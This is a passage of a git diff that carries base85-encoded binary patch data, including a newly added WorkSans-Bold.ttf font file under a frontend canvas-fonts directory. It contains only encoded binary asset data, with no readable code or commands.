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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/WorkSans-Bold.ttf b/skills/frontend-dev/canvas-fonts/WorkSans-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..5c97989292020632435b96e6622c74b1f1c6e5cd GIT binary patch literal 191304 zcmdqK2Y8f4*FQXMchh?U2@p1oKmuWR(+EA4gp!2N1R@a9A&nHObfno3u_FRvLs39% z2#Sgw6|pNeKt!>iA{LPRe>3;JB_aCwyzlc|-+O)8>rB7Tv@>VUoGBrc5aI_z5Hc() zJ7-My!em0&K!iRwtgv8Az)u(Q2)%0qp~LnJ8#6A$bIQn939%t{TvfrCzP7=v{wG4{ zQKX+XW^DS{FV7wdgZ~!zvr21A8r;h7Fcadw4-iyY($s)(Kg0*YcB`zJS8?4cuR21m z-$<zcxvKJ#vTnEcLjH6b;!~;+V0z2A8h%-x=&IW0xk;OLKTb%ueuM-as;Mt6Idx;7 zy9fz5Oo&HSZOPmQLk{@^>ANDmxvr$P{G-(#YYE}-8uvBSH#L7gZS7=2ifaf-wlp-B zH&hv~z7pxZkihf=ZM|}*xCUNATU&`QY+^_x*Ao+|1jv?h{t1~1n76iiBUQo0)(gKG z`m{?Uzm{Jy9?;yg;Mu9Z1Aif$pOQ#E>DuLaWv9Kk`eN(F2Mm40aHKU7CPVQjvAZc> zkTRnQn^RfUEYVdrm(<We#0R0*IBcfcQ+}fXp(chFCxXp{Z9oCmvdiEfq1ki_vC-b} zJN`Bk(ppG9UtkZIkex>e0?#w8equD8U?%hi8Bfo$4Y15w&csKC;cqQU8H5sy1mu(X zFt4B<gi>$12<8&H6y|ce66R`FK`5(aRfMq_tPW-an+3CxJ%aE@*+G~uuon>WBKsQd z(|iV@{0hE;P%%kNhWV0s3FZgl4B?{H;HF9<ySOKyGr$kIGx3$dgfcOtJBg-fH5gTo z8pSE`wfIJy7T<~Qk(Q7sx?N%r?r=XLCh2ZU0z|IvX2eYl)!m#VhydL!NLPMNcN<6; zKdQTpa6hNJ-ADl6sk_}>+@2(h*XZG1E^cpXW+U}*ACkm6>+VnzMlWh^bh8)zNq2)v z=r_6>JwV^n-JE#PL%LfKANsWJHsIUcy4#46zg2geoOPrqGhL^Ly93Wk-R(i5>2%%g zNi5W+yS+#cj3Cv9)SJYSW4hZ1J+fDK`;y+|THWnOqR9;1?N1WOK;0ccdXNy^9Z0;0 zhwcu7i;yBxPijdCsUvx$8Fme+CZ%KoLL13UGDgKTxuohtGLWVOX=eUys%$bB_!^Ni z1Gs8P+25xACuzoza+I|CAK@E?v}H)!f-nBAE=5RJiBz&ijenbRB(PPID%9!k@HuP! z&(e<t#%i>^vrU~C>}}G%-mZ0PTYhJrPAtwadtMVz=YL%nS<`0HK>Cxu_%)%w8}U^G z!kR!^O>o!1mQ+%S_yUpx9;M~b1TL0?m^!32gM#Ww1zdAf3zs9L8eg07wWPChq-s)q zWkxU5q0h>J(Twy}aLKRpfY%KC4JxfGW?3^QhTcduUVSagCUZ9vD@rKA>{7C}`PxfU zLT00UvQ8yrI!u}O9Qb89%m|bDrjyai-HbLdD@yox+ox@t&Ot8K$VHk}sJ$G6lEUn+ z1o*TPw4h80aMz=ywcaz6Tt~Y0^e9KDHsad1hYeUPXc3!(hGh%Od}WW=zjCG;fOOgD z0cp482hKd~U)fVQF=pbM1~O04jW%-3$XVu}hTJ5r$X34eJ2NT7H}&9U<>+5YL+Pli z><L*0S<;?xYt-4K(`Vb3Dn-g#wAH_AVcD8mz4|!Xp%-|flosU77bH2Qveh(3E|MjX zB^DvX8`#sxBAQDV)9dJZx`pnfhv+BtD|(v#%(}2XERm(M3^tMNW6!Wd>=Q1y7x(1> zybF)!J$VAR@?_qR-_Q5)1L5xBzTut1yM;%D$Arg+_YF@C9}u1wJ|=u}cy)Mv_=4~& z!><d!A^hg>P2s<rJ<Y-9Fmt#$(%i#rF(;b)o3qSC<_7aT^CI&a^R?zJ=56MC&G(yk zn0K2WHSaa=j|hwiiHMBo5s?rvHeyP|tr6QJo{D6V#z^1DfXLv;u*mSp_{iMIX_4hI zTVfuFc_ilXnEf%&#=I2sTFjd<7kWGpJ0-Rxc6IF6@jZTPJ<lM)$v<!Of(32AnGUDd zqW+ud!}K8Pf0BMff24n~IA%fp(^3B?+0&3XKH!8KQGb8bKZ^HgSAVx~ukfJouHokJ z=<vAkgz%K`{^1$nBf}?!PYJIHpBug;{MzvKs{WhJCbOTpv$?C;tm<zwr|I=?HqSRN zF|S4a?=s(m`afXah5A2f-se*PF%gp^)<xVOu^06>p#J`-f2gDWWigv$w#V#_c`RmM z%z>B}V_rr5&-d6KI~ny~5_>8>2K9#oYw!?*Kpq*Y9bm8nnyYn-Jw)2A)qozZA@p7P z4rt^Bw9_+mKix~8XnnDDPwOt%G=J?rUV02G0O#NF*G^16an13ckKcGA^!U`{Qwce4 z1w06N<oIJU-SL~0x%2q0<F_Bb{P-=$Rv%kI$gv-eeST~u?Ad?`fa%9397{SDLda+I z)8Fm*KmCA^PhbCZ`=^Fa#(y&Q;|oVG`|vK$$4xbAG!V5G2%($U_Z;#szl=}f#jt1a z8eYd6`5wL(zNaPdgZxE)gdgQ6?3mlz`~&_G|D2!Xr}#JgTmC&i!++vu1rvTEK=c#| zB1sH}l!!mrXT)y?W-uD0+|uSxT*PWY091^@&487M!OLKmqV==}eH9?X?Vv?L+QlC* zyBR#RZ}m^wSt6VNBog@VqCl(_Pl&$4U3l={#4P^3=)}L{fAAmp88KJ1h&iak<7lm} zq#LBN1k4`8Fo%uB{8j<p)d=pjm~186$lYWIWVvU_2joNYDfx_iExh@8;UgA{?&4=U zkWQeN(W$gjO8RsSM%tZpE4`aO1a7kzqwO>LIXy*xp?|U<7R<uHcVdL6cvg6cg(8Rl zEJlhcB411s&xyU_NAVP|6>(yb=q&b$^Wtf-fWO6$h_hmic#@wJ7x-abC*t`h=#NkN zFC+k5(4B-r>hDCtFxm%!<0WFmPr)pE8JR?4!3VD)OUN>E2U#PU$nE51@*FuxUL>EB zyXen!6dgpf=vX>}7SVBZGM!DUXbo+mx6pOq7aQm_`XqgsK82C+0X-<1>3dAji&$7N z)|GzB!bvbKB%BT=A#^kerxQsey&P+bDWp4{M0(N^(u+<fL+L!o%hhB6Z6=xY3Sy-* z$Z)!X<kDqiB;@N6^h#1huO@|bEh(j&ND19YCeZ82bb1FVrq_{i^mbBCw~$JD7u`l? z(0fP?y^qYK_mWzAKbb{$klAz>nM)rbb0FO>ppTK8=@GJ&?jtwS!(<EA=l9Sr$bIxU zxtAUz57Dp5BlLT+n|?=j($i!={f+FSzmliuIr1J0AV-)Fd7ieCcbPvq%)H1u%#VD` zI*~6}H^}ziupZ=F){~rOvGgp-B2SX*=&R&aW`y+KhgQhhpFV(j@Cy1k$)n53ZS-9d zLweJ4(wUASUFdkSk-krS>2R!83P>7lBtz(2G7+oGY4kR-nm$i%qHmG==?U@xJxN|* zl)S~f$sYOxd7A!C*3uWi%ReSp(HF^AEQ*YxtHcrUrg%fVF5VGui*w>v@xC}L-W6|& z_r!1FC-J-ZQ~V)*5g&<<#V6tmaZG$BKE$f<xcFQg6`zs_T1?_-DT$|LB!ey>>2yBU z$1_PjT}{T&YshGN6`4$LBz0IPHqZx26MdM>qkG7F`Y2gQpCFs)hvZKB5xJGVLvEpO zlkN0N@*w?+JW9`y$LNpbVXV(~(QnD)ShGDt&yxf60(qYWlDC;J`Gkd%k5~vfign&` z)}4IEdJ%s*k_6Ixth=(YRvSjVX)e}pdBl_E5J86!BTXkJnt^p+CNa>VWFT!JgXtWS zO&5|RT1!%BJxQevq#vC{l4%{8N^d2X)0@fF^d)jFeT6K?TJTDGfUKm?l2!CMvVuNC z*3s9<dipxKfxbaD&^O8TSUbMNIC+H`$ZO0*UT5y)4dy}KWS-;@b0c4}2y%j%$w?MT zPO)f_A+p3UktuRTHxVwnh)@wGx`HeA649cEh!rv7pm>4*Dy|U?qE7gNXI?GpMXfLi zH!((x7lmT97$+u+vEp(uL0l$^#RhS$SSQwto5aoHMsc0EUfdv-iWOp|XcRNVDluQo z6ZeV-#C_sHalhChwu^_vW^o7DU=UWC{Xmy<$SU$A<rv=+=`xJuec(Pr*+_O7D}%;i z0b9jxV6U)u*_Z4`9>}}%e7=}p#c$?!@kjVG{5A0S-%vU~)FTsIbh4-vb5Q<U#ob~T zIM?gq9Jp{_LxW+r;c3IGhW8A|4Bs1mHyVuo#t5U;SYcdfTw~m1{J?m^c*c0a<Yo#o z4Ka-{RhVX(7Mj+WZZvH*J!INzdeL;m^r@SNTbNr9H=EmFx8ZK%-DbGm<hIrAS-02S zesDYQ?%^Kd9_gOup6x!`{c`te_ZIi7-FLa~cR%WW%KfYd@$mBK>=ErT#$&3-OpiGp z_j^3*@vO(|p1z*lJ*Ru_^Xlvs?Pc*A>Q(4f>{aE}<h9dlpV!M??|6OYb=vE^x5+!u zJIXuJdx-aH?+xCYy?1&a@ILJ0=acL+!RJ1ow|zeIIqmbSFZcEJ?cy8jTkAW|ca86j zzIXfX^4;(IitoF=U-<s$m*7|9x5#g;-%Wnc`@QM+vENtzM*jf+aQ`^}6#oqWeE&)Q z<^Hq$m-=7tzr}y2{{jEQ{zv^!`TrIm0{jBH2J{Zd3@8n#4_FYeD&U5I2LlcU91b`d za4O(zAPMve>=YOk*f(%k;F!RvfinZ=1U?-2RNza2ZwG!BcslUcARaU*s3~Z1&{aV< z2R#sUBIr!eg<!YfpkQ-w@8EvHvw{}}uL-^}cuVk(;3tDW4gNmF5;8C(H)L$cw2+#R zxgj5heAy|WQ+TJiPAQ!-I^}no)TyG=u1+6!HgxvyoY}dc^U}_5g&IQxLc>GjLQ_Jo z3%xz`-q1%vFNS%9g@i?hC4@}~D-GKo_E^|=U3zqx(`8Rr+SR*jXxGJEuj~3tx2A4C zb-M_ucxL!3-3NDnwEMH&U+?~5_b<Dj>3+fNW^OVsHeYAHJ;E&_C}L#9l8CD#Zi(0y zu_xj{#GyzYSr~a;<QtJ6MV^fODT+l6h#D3(CTeO_ebj=e7oy&c?jF4~`b6}Z=nFA! zF+nlrnE05~n9P_lF{Lr}F$*9Op6SuK$GX_i*qGRRVt2*vk3HG5tmmqpyL&#}^VOd3 z_58UP>E+d{bFb)LmR`lZYI-&ITGH$4Ubpnx)@x_4gS}egJmb>hCd8G-Eswh{?xDEX z;@*$@Bi<Mv5FZ{N7e6X~cKpNfPsM)`|6Tm=y$!wndw1(Sxp!snrrwKt@9Mq3_ba{M z?bE4GY@Zo@4knlrdMETt$W6E`p)8>xVL`&mgc}pKB|MVwY{KD$qY0-H&h{03gZi5L z#`o>tH>dCTz7>6E_kGvmWy!EyVcBT8&$7pIz;ej)f#rnN(>l_6nYGH=Y+YepXWeMM z&$`EYz<SsgVoS75v|VZ2W!rCi#rCf43)^>z0g2&>afvC38HxFclM*WuXC*F7ye9FE z#2tzI5)UPQka!~TOcF`TN-9h$PO3>-oU}3NzN9@#2a*mYeV5!hIXc;rJTN&od2I5u z<eABHl9wlMOujF9Px67}L&<-p#HHk>j7_;EWn0S5lzpjgsX?jc)IO<csiRUSrk1D9 zN?n+`CiTwL_fn6ge&26Mzk+_7)7;Y<(-x(@nD$=(?){haKi2>I{(lTG4hR^~Z9uO9 z$pfw$aPxqB2Rt(1hXLmYng#|A>^^Yhz{>`f4Qv>=Y2e#~x(|vUR6c0dpoN3h47zd9 zAA^m9Lk9O4Y#Tgy@FRntAN=MJw;|n!#1BawGGoa6ArB5YH#B|dsG)O)t{S>)=+EgX z=^5$y>66kc(r2YFOkb0JApKDK(ezUp?is-u!!qV(tjJiGu`%Ppj3+V<W_*$Hb;d85 zVVONLZJ8OF6EaIP>oXT*UX^)s<};aZX8xL$nl(3TMb^5kjam0)?a6v3>$R-+v%bpu zH9I~#HM=EyP4=_duV;Ul{blx#*?;D^=XB2*l#`b;E~g}?E@yVmvYeZ8w&pyPvp46f zoL`6WVZOt<42vC>IBdwUF~b%QyK30O!=4&;WZ0*}P7eDem*#fPjn1{?4$RHX9h*Bd z_nO>WbDzjPn0q+)Xzr=pvw6{Zmb`&^xq0*RR_3kG+m!c3-jBnRhF>@Q^zdIt@DYI{ zqDJ%`F<?Z_h@uhGM>LLDHsbmbTSn{}v46xXBR(AQ^@v|a4jDOO<b;uxBj=1<HS+n9 zUygDcHFne$qgIdFFlzIt2S+_I>foru`JMBl^ON$2<`?D{=U3%7=P${>I)7vSefj(H z-_Ji@5LnQ?Aif~AAhTe4L0!T8f|Uj93pN#OFL<orxq>4F#|nNbq=o*45rusU(+cwn z#}$?o))p=-ys_}{!siR$Ed03etI?*>;iKb5r;N@Roj-cg=!(&^MlT$_X7skvJ4f#u z{qpE{iad)t6-5>GEgDcXtY}Qp)S_F9?k?I@w7=+;qIZkFDEe_s@R+hO>&DzNX7iW> zW4;~hHa2bS>amZG{c+r&aTCTpFz)AZt>Zn%cN!lxzVG+}<A;qOGk)s$_2X|Fzjgff z@w><G9sk_;SH~Y2|Izqk6MQE0m@sX^jtP%W_~Ej&%Ze_$>$1}m!zT`(ST(U>;@pXM zOuT#I50gA5O`deur1vIWm>f1aa&p|{!pWCSo;G>j<fW6>Onz+gGm~GQ{MO`;CLf>t z?c`r3Uo18i`xS>4M;6ByClwDW&M7V^zO1;Uct&w!@%-Xt#cPY#7vEOAwRn5+?&7`0 zpBJCM+<N)!%Wt{-%_)9UVyDzi*)ip*DX&fWc*^N1=cjs3?J_lf>VT;urp}sr?bH{h z`A@S>tDLrD+RG(DCF4tKN^UIKQnI6Df6393^V3tOH%?zL{rc%grk^V{mIjsDN^47J zmo6?{U3z`#t)*K^ca%O^`bp`@GFsNXY+%{UvfIjbls!}SQQ6tD3+18Z1?4NsZ!EvJ zd{6nl@>j~=D?eU-y8P$z^A&CteifZ7%oRN=EENMQR#j}M*kAEt#gU3{EB>tXt_-b= ztxT*ORXMJ*ymCe5*2<5of~vYzRaLcAZK}GrYG>8Hs)JSUR(*BpuR6SXeD$vCKW602 zSU%&~8E0qu%`BMNF!PfdUNfL(YR%f3eKn_R!)lk-ZmT_1C+fWFCf40l_e$OO^<C;0 z*Ke!eQGc}lME!RSq`|!*q#>>$wV|NliiUL!4>mm0aHQdzSz=cAS>>~?o^|J}-HoA* zlN+yUe7^C+#-E#fo1&X$G+p0xu6cFy_08LwKWORFQrNPg<(1jqvomI|oPB)G&^b%z zJU6$~-0Hb&<~~37?YXDt`OoV<FL7S_ym9j`pI1Jwao&=7*UsBGZ|A({=Y25m+xg-1 z`_HeOf5ZGc=bu@Sd4=JMWmo*LFm&OXg`X_4ESk3H>P5FLx@XZNi(Xnx7Y8r4EG}Ez zuz1PhTNZC#ykm*~lCULFOZqP9w<LW@-jebqOP8!&a?_GKm%Om#<0Yq-{Ib-2Y1q>E zrCCd7EWLi|rlrp>eQ)UxOaENvyDWNHpJn}*O<uNW*{Wshmff-J!DWvwdwSVR%MLI5 zaM`hCr<a{w_UCfra^K~hmq#p5SUzBR?(#9q%a*q+U$p$L<&Q6aW%+x{kK_043gZgj z6$8{SYsIJ)lU6jW*sx;riu+gWUh&k5msh;I;@FDQSF$TZue4mb^vWBr+<E26D}P$q zdu6|sD_5>xd3e?ORiCboSUr4o<?5SPA6b1KD<2!X8#`?OW#AiIFGyeyl00@l>GPNH z2FWvIYQVlE-VA<+4YxR~0h@#H{|<yJyk)@uHp<x%OeeuA{3Ozx!~$Bgr8^Jn=RAI& zX4Ao~=Kx;;?f{$w97TMV4nD9uBMfP<RvL_z<lxp1*bEY);8Ea~FbVZNsM*r3V1;J$ zg}Q$u>Bg@`z5ujUo}oaqrMo={H<z$4P{02JAUdNQ8&R&U09l@0u-igz8~>HWkNs14 zmJGp8Y!7w~3H?iWkql)2EqH(!`Ip3_J+PaJC%c}w|09@BVpu!iL(t!U17aodU|*pf zT|m+$+i?lxwh8Nq-tA#Gkqidl*SEI*OIU<D|0^g)8TX<*u5f{LQ)TafcKQ9l=>lv8 z`n4VKPDtYd&@Fl>-X`fv_HiaLyFjGwmbM*ad`ID7F5kK0a80kmId;N$1M+DigIFqw z`b%gcv8<T%Vo$?v21q|Z%+Ub(Mg12+)-jsiNqm_FJf|b*MGPvu2KA_EJ;OBnBWcqp z(ib3YK<n3lBY>L$UjW|J<B_KIEZip8U$Y$bjVJsB{?`Co?ZE1ghYrvc4N$O3w|~@Z z@I@J(1|3ic-$4dR(8|=Y&98F_pMbXfKLGq;lta>m2C?)Zw4VkR*f#o5>u<1A^f1AK z!M8&GA*=+hY_!p%(6c=TkhTL_f3>^WOwzv{q_p$*#~j!(T>5QWTvqUg6~xdU*eK9a zV(Xv(2n5=wJ!C67`v~+R;Rwb{&%Xj1gS0VdhgxMPLRTsMsVrC8n1iQ)=Jm1mU$xhw zpWDMUggGGz_4HBDO}8ru$GIW};ztrHwvs6R7{E$=#aO^xl>IrtN#e_IBAvx}xDNtu zCE2WnnEu<q%ZW(>+AW(+MIZbXT!Z+{;JvOk+~NqrbN(%e|F_a#MS8OVz`q=2`zyE~ z@$Zr#$e`JFpvllX>j2&jck7RU<A7TMA7}s#f3gA(*g**UQA<lY!S4?LJIFg+!8+i! zLl)ew(5(5zVm*8u5j>A%OJKYI8pQW5akrv={|A6SfO1SjxvBxOJZQUiU}@veAzjd) z{|Lm@NH>*q{ad)641f&v*YGgnI)cCZM#e1w4||ZfwFfp9W3%WV!f?oK?Lqc^TS#r= zUx+sRE4Z9k834RJ3_EAxtd*oN@Hie!IzbMyU_U1i<%?yb(QYeAJR62IRm6h+iNJX6 z19va15k~(jkhuOSKH%($U9u3?A2L&4$h0dU&kRQXV^NQM5`g(Ro|OR~(m~dV0So~| z>(Cu`FMtiu1CRiaaWb7upAYB_ka6JvD?p}+14IH;I_xcWrg7M7T8%Z-0*u3}u-~)@ zYpQDzUW)yvE!fYz0b}(4qjcna>lnx?fqXLw6kWl$tKi;C-1&>}cOvd0l=$=g;FU!r z7V=mC>w`Avsm4e!_NAiXkH!9McQy!Zm5P1XNbFBWVy`cOBmykJn@amYW{4xn7%OJb zNG}>dVx$a#Gnlb#C+OuJw2cHUO`MD;ajm_`_SVl-S`C-Pr*NWeeJF*jMO!b@RoLrY zg?8KqyxXwzxeEKZtAMk8{N0GZ+Zm7D*3k;~kbM5V>PyYGhj+nQ4!c`VL&H%=A3zrc zHrfL?dw@RjAQJ#6WH<%SkRdn~G31i)E+{_$c)b8YvToSp>&3c4w$gDCOY30l6{_#) z5{#!M7|%GVfwKYx?MhGv1>_a&Fap{{`H`j%8v@!}1$!m>WhwLkb3xxvLp~F&C)w?! z8+#LRzhE5Jq90xW-F`s&@>KM9I$$*FuoL|_5#s^z{3OQBZAe>;Z;CO87sHQs2lxR@ zx?j?LfT~9&=_P3id$_3zN{AWz@@B**0tNz7SiQ2-;qIr0%kh>17^M6AvvDZ1OkYMq z`9ma@dxD-mB}T<hKEb$q32U+~`2Kd3sSbY0W44oU!$^#y5{x4N`yO@uo|FJm0mZt% zMz<@)a24N86kt79fd2at<M&6>oioyhd!fEZfkVPIBmwK#@i^Txo-G1zT#I=y4r|*U z01Mi8KjJjIPkTQrMc)<y_JLpTBmE#-3;^_F-;zFJ2I<7_Lcgy>-+T*RQ4hZ$aSALr zFZ=^Zpx&UZj{!qL&l0wgFg6Bh$B>@fgv$X}qaB8#i~xyCror45j5FvqKzH>mP7Yv= zbRYb^Xal(na5>!j$gd<_0cpkArPjLv(*chF@&V}p8IJQntxbS5z;I9-PNugS00<|q zgX(Z5UwtdnZUHO>L;&P>NZ%TabP3Smr2;kq)`HHZ-2*T{htaU>0ZD)?z)}G2BB-*+ zyq^G!0_5o+^TtW0i}Kvrp9qtA^Z*c?xag(eJ&bXHOr_vB;*XO^fV3TMjMF5X-bljw zJIU2eE|3&}x825k6+%zo`~pDEO%7e8T{orcW@MkLvG*-Wl4DBtt3Ix}$+4u)N_p^+ zhDO4&az>72XKPBD>oA_aA@1puvd!$a%=EElmY-P!lZ{B9WTuaeDi~>|GxA4fnQ3@Y z!6-91g3BLfvT|(E2s6&!5S+flY899n;kcz>AV%Dva3eTPPCT(gAB<c(k<K`^6Gr68 zBXDVACJ|_hD4aryL0iO<o*1=pXsy4;75E>-74RR#<^LbV<@X=N<@+DR<?|oJ<^3PT z<@Imj!f8B3W0=AIf?od}YK<=`scB~6rM9M0*11%=14>Jp%9&SbX>9`&rA>3H=!LSH z>PmX9tggP6o~dXoDWxZ?s+*eW=LjyLAJx>g)Y5lwyQzl0q0E<+`J6KMDf2O9?o{S> zWo}dEraI(EZvlcvy1riGxw^iwtd6dzZ>+1OS2W0w*^RRs>*$OonX;^@x~_swX{s%4 zpqDi@S*)}Orj3q-nMiYBCefiVlWBjLDKx36WqK1$XliL_qCK1DG*!`%=IZ7e>ennW zd(1Cytf#U)DaNieCI6$6A7Jz+;9Q<|raO@&sc>*)#F~|vrOZraW+*dVnM0L1M46B; zkiNSz2f!3KtB5r*PMFK^7?_MCgGWkR@)a2xt4ytLHIC%3LU0QWv6v@d$}^Re$TOG} zcZ8%FpiFmV1}ZaJnS+%%5GL1YOs1B%*(lB(%6#L9yjg|gf#7*Ew5KvtmDx?j$k4p* z86hi!PXuqpZ$@w~eqlj}f}RfA8MHNM34S$>-`Jp`LAJne0*~UiDe#KGNq&F$O!q#B zUr><E>w?z_uR71eo@+f0cx>|UbAQ=A$L*NggE&Rh)s2`w!WpBUrU2u&#vG$CoG|Pa z+r&Dyi1lYaINy6M&8NL-5Ki>HOdcY*;it+d@0@uMX0RA+2w}K!HMLz#A46Xi^Qd^T zU5wQbuVN;P$6R7Uh?^nC5NqgV=waw-h%@vyBp}v}_>nc_MVdzY(*a_XnCSQdx8SI3 zKZ;YOV^x`Ci^+2N;QX5>_2M(RJl`wGI9yPBfgN^y$uNKTP(cmUNKMp@x>FBc#>;sH zujEy{n$G|Z4w@MWtoisE*<+A@w3~fe4n0t+3z)qxl2%;6qm)t3i}~ez3ZKfS@e)3r zmjVYPcasM}0zteB%H?dgaLCTdECuJu`>`~%@&GoF4Pv<6Cgg2CFPw+Hhu%x?qxaM8 z^a1)H-N9;D9fpe&LlC6b1lAX4(yh#flle(9H=L+liA1ZhPBWs`GDit1$~It(g<~cS zK;F1ZNAHHz$>_Dv`7*i$t4NL$xpzZLDeY_V1*J=XLu*lrlZXcT6VB$ohnpmRn4QO> zZL)A5D+yE_jS&=ty)w?5MF93BIB$Wy6!u)$%V5ugeFf|$*ehT!fV~*@Y}i;E@Hw!T z!=5h!<jpZU2`6la(+u>ujmFVP8b$-C2m1OC@)P+6bodcDLSDt$+`VKs*^X1kw~_U@ zSGWwf2^(?8Vmi+97LnnqMEBt|vn<&iy1ibvn_<h6-mlx6bo&O~Zh<Xp@StvQ(e0ab zdoFBQvmLs<Rkv@}?Rl_ejqla%jk<lkZa2Y}E%C5!Z`18tb$bD9*+ScO`%c~7pxd)y z%a(gUw>Rtdjk-MtwrtUdbo(ydzD2j^3*5QHu5>+m{}<4X7ihd%x}is4bd8Fu)LjO$ z7iYFl;bgc!!gY!Og?T9|IpqjrIQ?DFc2rT%_M?P)k#lS?8^VU-E=2~*WLXUQN;Zt; zvOG4Njlj9fQ7oSoutGMP6|pgFEE~thx25%t$4=W3EXRKP5sA^oh`;N&24@(DaV<xw z8##}kAB~|g&}>MK5}?LYyc$ndjL98XmDFIQ3}AH_K?4;}7^H5XX0gNIF4=0F=Lk7$ z@?Bab0DMYuFO9Du2KOl?Pt&-aOG?PmxPOYFhC2b=APfea9ChV7l5fPb-mFiDsl0HO zely*o&MzOu3Fc36e)+gKA-+O>U_xXODMX*i`#)U)+RR080+wRTt1r<yM)ct}bg|?l zxPc2!VnW;&oFV><eg^GR0yvF^BLLqGRn$OmZ-{}G8hH(}InKW&=W)kj2sMa9;t=(h zIr<K5m!o?JrL@x)L+cpCBVrHE&+ZnF;!A@%8!S%=KM8Dh3IuNp1oy|C-(O*Bp$sxa z80||f)C%5_NRwzXO`)l@ADe*lyc5|ZHklQ(%h?n*l}%$MY&t7tWvrZ407DpVE<8kb zf~V{OXW2*glc&jtxR<bt?xv66Z2#x<3wn$m$L)k)>2LIR+)d~Tt&y`lm~}9#M=LHX z%XK%o52a$zZu|kW5BVKtZ}J<=c&uEVB}Q#&4;o8*(q7OWp|+$MclYMtwkbH2Yi%*F z$@u}RFVN^Y7YvvUXgKXo%`}2W(kL2@I1|Z)%u@w^I1@a3mJ24#v*6$PkcKkA!BZe> z$z0u(++`*5M#KQfC_|A;Hv-;3yOOgoyO5t@hJgb!8cKeI*_oVy*@^rBGlYEaQl8Gx z5qeV}>P!8oKX`W_4Whw_cLy+(#2r1Xt)W6)zFI-zf#nBa{SmqRj9h<l*2txWenlJp 